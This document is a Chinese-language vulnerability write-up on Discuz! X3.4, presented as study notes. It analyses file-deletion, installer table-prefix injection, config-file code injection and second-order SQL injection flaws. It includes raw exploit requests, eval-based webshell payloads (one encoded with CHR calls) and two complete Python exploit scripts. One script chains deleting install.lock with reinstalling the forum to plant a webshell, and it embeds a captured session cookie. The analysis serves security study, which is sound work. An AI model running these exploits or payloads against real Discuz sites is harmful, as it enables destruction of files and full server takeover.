分析了目前已经公开的Dz3.4系列漏洞,作为学习和记录。
漏洞原因:之前存在的任意文件删除漏洞修复不完全导致可以绕过。
漏洞修复时间:2017年9月29日官方对gitee上的代码进行了修复
因为官方提供的下载是最新的源码,漏洞修复时间是17年9月29日,通过git找一个修复前的版本签出就可。
git checkout 1a912ddb4a62364d1736fa4578b42ecc62c5d0be
通过安装向导安装完后注册一个测试用户,同时在网站对应目录下创建用于删除的测试文件。
登录账户。
访问该网页:http://127.0.0.1:8001/dz/upload/home.php?mod=spacecp&ac=profile&op=base
发送POST请求:
http://127.0.0.1:8001/dz/upload/home.php?mod=spacecp&ac=profile&op=base
POST
birthprovince=../../../testfile.txt&profilesubmit=1&formhash=e9d84225
formhash值为用户hash,可在源码中搜索formhash找到。
请求后表单中的出生地内容变为../../../testfile.txt
然后构造请求向home.php?mod=spacecp&ac=profile&op=base
上传文件,可以修改表单提交达到目的。
提交后文件被删除。
分析一下对该页面请求时的流程。
在home.php
的41行有一次对其他文件的请求:
require_once libfile('home/'.$mod, 'module');
因为GET参数不满足上面代码的条件所以进入这部分。
查看libfile函数的定义:
function libfile($libname, $folder = '') { $libpath = '/source/'.$folder; if(strstr($libname, '/')) { list($pre, $name) = explode('/', $libname); $path = "{$libpath}/{$pre}/{$pre}_{$name}"; } else { $path = "{$libpath}/{$libname}"; } return preg_match('/^[\w\d\/_]+$/i', $path) ? realpath(DISCUZ_ROOT.$path.'.php') : false; }
可以看出该函数的功能就是构造文件路径。
对于复现漏洞时请求页面的GET请求参数:mod=spacecp&ac=profile&op=base
在如上参数的请求时,经过libfile
函数处理过后返回的路径为:/source/module/home/home_spacecp.php
跟进到/source/module/home/home_spacecp.php
文件,在最后一行也引入了其他的文件,处理方式同上
require_once libfile('spacecp/'.$ac, 'include');
所以这里引入的文件为:/source/include/spacecp/spacecp_profile.php
,转到该文件看看。
在第70行,存在如下条件判断,这里也就是页面上的保存按钮点击后触发的相关处理代码:
if(submitcheck('profilesubmit')) { ......
submitcheck
函数是对profilesubmit的安全检查
function submitcheck($var, $allowget = 0, $seccodecheck = 0, $secqaacheck = 0) { if(!getgpc($var)) { return FALSE; } else { return helper_form::submitcheck($var, $allowget, $seccodecheck, $secqaacheck); } }
第187行开始是对文件上传的处理函数:
if($_FILES) { $upload = new discuz_upload(); foreach($_FILES as $key => $file) { ......
第207行开始:
if(!$upload->error()) { $upload->save(); if(!$upload->get_image_info($attach['target'])) { @unlink($attach['target']); continue; } $setarr[$key] = ''; $attach['attachment'] = dhtmlspecialchars(trim($attach['attachment'])); if($vid && $verifyconfig['available'] && isset($verifyconfig['field'][$key])) { if(isset($verifyinfo['field'][$key])) { @unlink(getglobal('setting/attachdir').'./profile/'.$verifyinfo['field'][$key]); $verifyarr[$key] = $attach['attachment']; } continue; } if(isset($setarr[$key]) && $_G['cache']['profilesetting'][$key]['needverify']) { @unlink(getglobal('setting/attachdir').'./profile/'.$verifyinfo['field'][$key]); $verifyarr[$key] = $attach['attachment']; continue; } @unlink(getglobal('setting/attachdir').'./profile/'.$space[$key]); $setarr[$key] = $attach['attachment']; }
文件上传成功,满足!$upload->error()
,会执行到unlink语句:
@unlink(getglobal('setting/attachdir').'./profile/'.$space[$key]);
这里的$key
,在前面foreach($_FILES as $key => $file)
中定义(189行)。$space
在第23行定义,为用户个人资料。
$space = getuserbyuid($_G['uid']); space_merge($space, 'field_home'); space_merge($space, 'profile');
会从数据库查询用户相关的信息保存到变量$space中。birthprovince
就是其中之一。
所以此时$space[key] = $space[birthprovince] = '../../../testfile.txt'
也就解释了复现时修改出生日期为目的文件路径的操作。
这样的话在这里就完成了文件删除的操作。
PS:更改用户信息时通过提交表单事时抓包可以看到各参数名称,可以进行修改。
exp改了半天也没有攻击成功,找了公开的exp也不成功,不知道是exp问题还是环境问题。
import requests import re import os def check_url(target_url): parameter = target_url.split('/') if parameter[-1] != "home.php": print("[*] Please make sure the url end with 'home.php'") exit() def get_cookie(target_url): cookie = input("[*] Please paste the cookie:").split(';') cookies = {} for i in range(0,len(cookie)): name,value=cookie[i].strip().split('=',1) cookies[name] = value loginurl = target_url + '?mod=spacecp' text = requests.get(target_url,cookies=cookies).text if '您需要先登录才能继续本操作' in text: print("[*] Login error,please check cookies!") else: return cookies def del_file(target_url,target_file,cookies): loginurl = target_url + '?mod=spacecp' text = requests.get(target_url,cookies=cookies).text reformhash = 'formhash=.*?&' patternformhash = re.compile(reformhash) formhash = patternformhash.search(text).group()[9:17] print(formhash) # set birthprovince birthprovinceurl = target_url + '?mod=spacecp&ac=profile' birthprovincedata ={ "birthprovince":target_file, "profilesubmit":"1", "formhash":formhash } requests.post(birthprovinceurl,cookies=cookies,data=birthprovincedata) # upload a picture and delete the target file basepath = os.path.abspath(os.path.dirname(__file__)) uploadurl = target_url + '?mod=spacecp&ac=profile&op=base' files = {'birthprovince': ("pic.png",open(basepath+'/1.png', 'rb'))} data = { 'formhash':formhash, 'profilesubmit':'1' } s=requests.post(uploadurl,cookies=cookies,data=data,files=files) print(s.text) print("[*] Deleting the file.") def exp(): try: target_url = input("[*] please input the target url(eg:http://xxxxx/home.php):") check_url(target_url) cookies,formhash = get_cookie(target_url) target_file = input("[*] Please input the target file:") del_file(target_url,target_file,cookies,formhash) except KeyError as e: print("This poc doesn't seem to work.") if __name__ == "__main__": exp()
对比官方的代码变动,直接删除了几条unlink语句,简单暴力..
后台任意文件删除,需要有管理员的权限。
同上
登陆后台,进入论坛->模块管理->编辑板块,使用burp拦截提交的数据。
修改请求包,添加参数 &replybgnew=../../../testfile.txt&delreplybg=1
发送,查看文件发现被删除。
分析一下该请求的流程。
请求URL:/dz/upload/admin.php?action=forums&operation=edit&fid=2&replybgnew=../../../testfile.txt&delreplybg=1
在admin.php
中接收了action参数,在第58行经过admincpfile
函数处理后返回文件路径,并包含该文件。
if($admincp->allow($action, $operation, $do) || $action == 'index') { require $admincp->admincpfile($action);
看一下该函数的处理过程:
function admincpfile($action) { return './source/admincp/admincp_'.$action.'.php'; }
经过处理返回的内容是:./source/admincp/admincp_forums.php
,也就来到了漏洞存在的地方。
根据if/else的判断条件,进入else中的代码:
if(!submitcheck('detailsubmit')) { ...... } else{ }
造成漏洞的代码:
if(!$multiset) { if($_GET['delreplybg']) { $valueparse = parse_url($_GET['replybgnew']); if(!isset($valueparse['host']) && file_exists($_G['setting']['attachurl'].'common/'.$_GET['replybgnew'])) { @unlink($_G['setting']['attachurl'].'common/'.$_GET['replybgnew']); } $_GET['replybgnew'] = ''; }
$multiset
默认为0,只要不给该参数赋值就满足条件进入if语句。
第二个if语句,检查GET参数delreplybg
有没有内容,然后做了下检测,检测parse_url函数返回的结果中有没有host这个变量,来确保GET参数replybgnew
不是url,但是并不影响传入文件路径。
这里$_G['setting']['attachurl'
的值为data/attachment/
,再拼接上common/
和$_GET['replybgnew']
,这样路径就可控了。通过unlink达到文件删除的目的。
这个方法是看到一篇博客分析的,主要是利用文件删除漏洞删掉install.lock
文件,绕过对安装完成的判断能够再进行安装的过程,然后再填写配置信息处构使用构造的表前缀名,时一句话写入配置文件中,getshell。
表前缀:x');@eval($_POST[lanvnal]);('
但是我在使用上面版本v3.4的代码时发现,安装后install
目录下不存在index.php
了。分析代码发现会有安装后的删除处理,在/source/admincp/admincp_index.php
的第14行:
if(@file_exists(DISCUZ_ROOT.'./install/index.php') && !DISCUZ_DEBUG) { @unlink(DISCUZ_ROOT.'./install/index.php'); if(@file_exists(DISCUZ_ROOT.'./install/index.php')) { dexit('Please delete install/index.php via FTP!'); } }
那是不是老版本存在该问题呢?
我翻了历史版本代码,直到git提交的第一个版本都有如上的处理。
但还是分析一下吧,就当学习了。
可以利用的条件:1、安装后没有登录后台,此时install/index还没删除 2、因为其他原因没有删除
同上
如果安装后install/index.php
因为某些原因还存在,直接访问会有如下警告:
通过文件删除漏洞删除data目录下的install.lock
文件就可以重新安装。
安装过程修改表前缀内容为:x');@eval($_POST[lanvnal]);('
在config/config_ucenter.php
中已经写入了webshell。
分析一下安装逻辑,install/index.php
文件的整体流程如下:
分别是我们安装的每一步,接受协议->环境检测->是否安装 UCenter Server->数据库配置信息->安装过程,生成lock文件->检查
问题出在在 db_init
的处理中,在代码第369行:
if(DZUCFULL) { install_uc_server(); }
跟进install_uc_server
,在1296行可以发现对config参数没做任何过滤传入到save_uc_config
中:
save_uc_config($config, ROOT_PATH.'./config/config_ucenter.php');
然后save_uc_config
也没做任何安全处理,就拼接参数后写入文件:
function save_uc_config($config, $file) { $success = false; list($appauthkey, $appid, $ucdbhost, $ucdbname, $ucdbuser, $ucdbpw, $ucdbcharset, $uctablepre, $uccharset, $ucapi, $ucip) = $config; $link = function_exists('mysql_connect') ? mysql_connect($ucdbhost, $ucdbuser, $ucdbpw, 1) : new mysqli($ucdbhost, $ucdbuser, $ucdbpw, $ucdbname); $uc_connnect = $link ? 'mysql' : ''; $date = gmdate("Y-m-d H:i:s", time() + 3600 * 8); $year = date('Y'); $config = <<<EOT <?php define('UC_CONNECT', '$uc_connnect'); define('UC_DBHOST', '$ucdbhost'); define('UC_DBUSER', '$ucdbuser'); define('UC_DBPW', '$ucdbpw'); define('UC_DBNAME', '$ucdbname'); define('UC_DBCHARSET', '$ucdbcharset'); define('UC_DBTABLEPRE', '`$ucdbname`.$uctablepre'); define('UC_DBCONNECT', 0); define('UC_CHARSET', '$uccharset'); define('UC_KEY', '$appauthkey'); define('UC_API', '$ucapi'); define('UC_APPID', '$appid'); define('UC_IP', '$ucip'); define('UC_PPP', 20); ?> EOT; if($fp = fopen($file, 'w')) { fwrite($fp, $config); fclose($fp); $success = true; } return $success; }
因为 dbhost, dbuser
等参数需要用来连接数据库,所以利用 tablepre
向配置文件写入shell。
https://gist.github.com/j178/67f4dbd8e87cd012a7caa8752ea06e7b
#!/usr/bin/env python3 import base64 import random import re import string import requests sess = requests.Session() randstr = lambda len=5: ''.join(random.choice(string.ascii_lowercase) for _ in range(len)) ################################################## ########## Customize these parameters ############ target = 'http://localhost/discuzx' # login target site first, and copy the cookie here cookie = "UM_distinctid=15bcd2339e93d6-07b5ae8b41447e-8373f6a-13c680-15bcd2339ea636; CNZZDATA1261218610=1456502094-1493792949-%7C1494255360; csrftoken=NotKIwodOQHO0gdMyCAxpMuObjs5RGdeEVxRlaGoRdOEeMSVRL0sfeTBqnlMjtlZ; Zy4Q_2132_saltkey=I9b3k299; Zy4Q_2132_lastvisit=1506763258; Zy4Q_2132_ulastactivity=0adb6Y1baPukQGRVYtBOZB3wmx4nVBRonRprfYWTiUaEbYlKzFWL; Zy4Q_2132_nofavfid=1; Zy4Q_2132_sid=rsQrgQ; Zy4Q_2132_lastact=1506787935%09home.php%09misc; 7Csx_2132_saltkey=U8nrO8Xr; TMT0_2132_saltkey=E3q5BpyX; PXMk_2132_saltkey=rGBnNWu7; b4Gi_2132_saltkey=adC4r05k; b4Gi_2132_lastvisit=1506796139; b4Gi_2132_onlineusernum=2; b4Gi_2132_sendmail=1; b4Gi_2132_seccode=1.8dab0a0c4ebfda651b; b4Gi_2132_sid=BywqMy; b4Gi_2132_ulastactivity=51c0lBFHqkUpD3mClFKDxwP%2BI0JGaY88XWTT1qtFBD6jAJUMphOL; b4Gi_2132_auth=6ebc2wCixg7l%2F6No7r54FCvtNKfp1e5%2FAdz2SlLqJRBimNpgrbxhSEnsH5%2BgP2mAvwVxOdrrpVVX3W5PqDhf; b4Gi_2132_creditnotice=0D0D2D0D0D0D0D0D0D1; b4Gi_2132_creditbase=0D0D0D0D0D0D0D0D0; b4Gi_2132_creditrule=%E6%AF%8F%E5%A4%A9%E7%99%BB%E5%BD%95; b4Gi_2132_lastcheckfeed=1%7C1506800134; b4Gi_2132_checkfollow=1; b4Gi_2132_lastact=1506800134%09misc.php%09seccode" shell_password = randstr() db_host = '' db_user = '' db_pw = '' db_name = '' ################################################# path = '/home.php?mod=spacecp&ac=profile&op=base' url = target + path sess.headers.update({ 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.100 Safari/537.36', 'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8', 'Referer': url}) # sess.proxies.update({'http': 'socks5://localhost:1080'}) # sess.proxies.update({'http': 'http://localhost:8080'}) def login(username=None, password=None): sess.headers.update({'Cookie': cookie}) def get_form_hash(): r = sess.get(url) match = re.search(r'"member.php\?mod=logging&action=logout&formhash=(.*?)"', r.text, re.I) if match: return match.group(1) def tamper(formhash, file_to_delete): data = { 'formhash': (None, formhash), 'profilesubmit': (None, 'true'), 'birthprovince': (None, file_to_delete) } r = sess.post(url, files=data) if 'parent.show_success' in r.text: print('tamperred successfully') return True def delete(formhash, file): if not tamper(formhash, file): return False image = b'iVBORw0KGgoAAAANSUhEUgAAAAoAAAAKCAIAAAACUFjqAAAADUlEQVR4nGNgGAWkAwABNgABVtF/yAAAAABJRU5ErkJggg==' data = { 'formhash': formhash, 'profilesubmit': 'true' } files = { 'birthprovince': ('image.png', base64.b64decode(image), 'image/png') } r = sess.post(url, data=data, files=files) if 'parent.show_success' in r.text: print('delete {} successfully'.format(file)) return True def getshell(): install_url = target + '/install/index.php' r = sess.get(install_url) if '安装向导' not in r.text: print('install directory not exists') return False table_prefix = "x');@eval($_POST[{}]);('".format(shell_password) data = { 'step': 3, 'install_ucenter': 'yes', 'dbinfo[dbhost]': db_host, 'dbinfo[dbname]': db_name, 'dbinfo[dbuser]': db_user, 'dbinfo[dbpw]': db_pw, 'dbinfo[tablepre]': table_prefix, 'dbinfo[adminemail]': '[email protected]', 'admininfo[username]': 'admin', 'admininfo[password]': 'admin', 'admininfo[password2]': 'admin', 'admininfo[email]': '[email protected]', } r = sess.post(install_url, data=data) if '建立数据表 CREATE TABLE' not in r.text: print('write shell failed') return False print('shell: {}/config/config_ucenter.php'.format(target)) print('password: {}'.format(shell_password)) if __name__ == '__main__': login() form_hash = get_form_hash() if form_hash: delete(form_hash, '../../../data/install.lock') getshell() else: print('failed')
存在问题的代码在/utility/convert/
目录下,这部分的功能主要是用于Dz系列产品升级/转换。
影响范围:全版本
条件:存在/utility/convert/
目录和相应功能。
同上,目前gitee最新版代码依然存在该漏洞。
在产品升级/转换->选择产品转换程序 ->设置服务器信息 这里抓包,
payload:
POST /dz/utility/convert/index.php HTTP/1.1
Host: 127.0.0.1:8001
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:74.0) Gecko/20100101 Firefox/74.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 278
Origin: http://127.0.0.1:8001
Connection: close
Referer: http://127.0.0.1:8001/dz/utility/convert/index.php
Upgrade-Insecure-Requests: 1
a=config&source=d7.2_x1.5&submit=yes&newconfig[aaa%0a%0deval(CHR(101).CHR(118).CHR(97).CHR(108).CHR(40).CHR(34).CHR(36).CHR(95).CHR(80).CHR(79).CHR(83).CHR(84).CHR(91).CHR(108).CHR(97).CHR(110).CHR(118).CHR(110).CHR(97).CHR(108).CHR(93).CHR(59).CHR(34).CHR(41).CHR(59));//]=aaaa
入口utility/convert/index.php
require './include/common.inc.php'; $action = getgpc('a'); $action = empty($action) ? getgpc('action') : $action; $source = getgpc('source') ? getgpc('source') : getgpc('s');
取$_POST['a']
,直接赋值给$action
,此时$action = config
;
} elseif($action == 'config' || CONFIG_EMPTY) { require DISCUZ_ROOT.'./include/do_config.inc.php'; } elseif($action == 'setting') {
满足条件,引入./include/do_config.inc.php
@touch($configfile); ...... if(submitcheck()) { $newconfig = getgpc('newconfig'); if(is_array($newconfig)) { $checkarray = $setting['config']['ucenter'] ? array('source', 'target', 'ucenter') : array('source', 'target'); foreach ($checkarray as $key) { ...... } save_config_file($configfile, $newconfig, $config_default);
$newconfig
从$_POST[newconfig]
获取数据,save_config_file
函数保将$newconfig
保存到$configfile
文件中,即config.inc.php
文件。跟进该函数。
function save_config_file($filename, $config, $default) { $config = setdefault($config, $default);// 将$config中的空白项用 $default 中对应项的值填充 $date = gmdate("Y-m-d H:i:s", time() + 3600 * 8); $year = date('Y'); $content = <<<EOT <?php \$_config = array(); EOT; $content .= getvars(array('_config' => $config)); $content .= "\r\n// ".str_pad(' THE END ', 50, '-', STR_PAD_BOTH)." //\r\n\r\n?>"; file_put_contents($filename, $content); }
getvars函数处理,此时的$config
= $newconfig+config.default.php对应项的补充
。看一下getvars函数:
function getvars($data, $type = 'VAR') { $evaluate = ''; foreach($data as $key => $val) { if(!preg_match("/^[a-zA-Z_\x7f-\xff][a-zA-Z0-9_\x7f-\xff]*$/", $key)) { continue; } if(is_array($val)) { $evaluate .= buildarray($val, 0, "\${$key}")."\r\n"; } else { $val = addcslashes($val, '\'\\'); $evaluate .= $type == 'VAR' ? "\$$key = '$val';\n" : "define('".strtoupper($key)."', '$val');\n"; } } return $evaluate; }
满足if条件会执行buildarray
函数,此时$key=_config
,$val
=上面的$config
。最终造成写入的在该函数中(update.php 2206行):
foreach ($array as $key => $val) { if($level == 0) { //str_pad — 使用另一个字符串填充字符串为指定长度 // 第一个参数是要输出的字符串,指定长度为50,用'-'填充,居中 $newline = str_pad(' CONFIG '.strtoupper($key).' ', 50, '-', STR_PAD_BOTH); $return .= "\r\n// $newline //\r\n"; }
本意是使用$config
数组的key作为每一块配置区域的"注释标题",写入配置文件的$newline依赖于$key,而$key是攻击者可控的。
未对输入数据进行正确的边界处理,导致可以插入换行符,逃离注释的作用范围,从而使输入数据转化为可执行代码。
update.php 2206行
foreach ($array as $key => $val){ //过滤掉$key中的非字母、数字及下划线字符
Discuz! X系列全版本 截止到 Discuz! X3.4 R20191201 UTF-8
二次注入
利用条件有限,还是挺鸡肋的。
同上
报错注入:
写文件:
漏洞原因:经过addslashes存入文件中,从文件中取出字符,转义符号丢失,造成二次注入
由前几个的分析已经明白了dz的路由形式,此处的路由解析如下:?action=xxx => ../admincp_xxx.php
跟进source/admincp/admincp_setting.php
,2566行,接收参数修改UC_APPID
值。
$configfile = str_replace("define('UC_APPID', '".addslashes(UC_APPID)."')", "define('UC_APPID', '".$settingnew['uc']['appid']."')", $configfile); $fp = fopen('./config/config_ucenter.php', 'w'); if(!($fp = @fopen('./config/config_ucenter.php', 'w'))) { cpmsg('uc_config_write_error', '', 'error'); } @fwrite($fp, trim($configfile)); @fclose($fp);
成功写入恶意UC_APPID
后,执行更新读取新的配置信息,3415行:
if($updatecache) { updatecache('setting');
最后在uc_client/model/base.php
的note_exists
方法中触发注入
function note_exists() { $noteexists = $this->db->result_first("SELECT value FROM ".UC_DBTABLEPRE."vars WHERE name='noteexists".UC_APPID."'"); if(empty($noteexists)) { return FALSE; } else { return TRUE; } }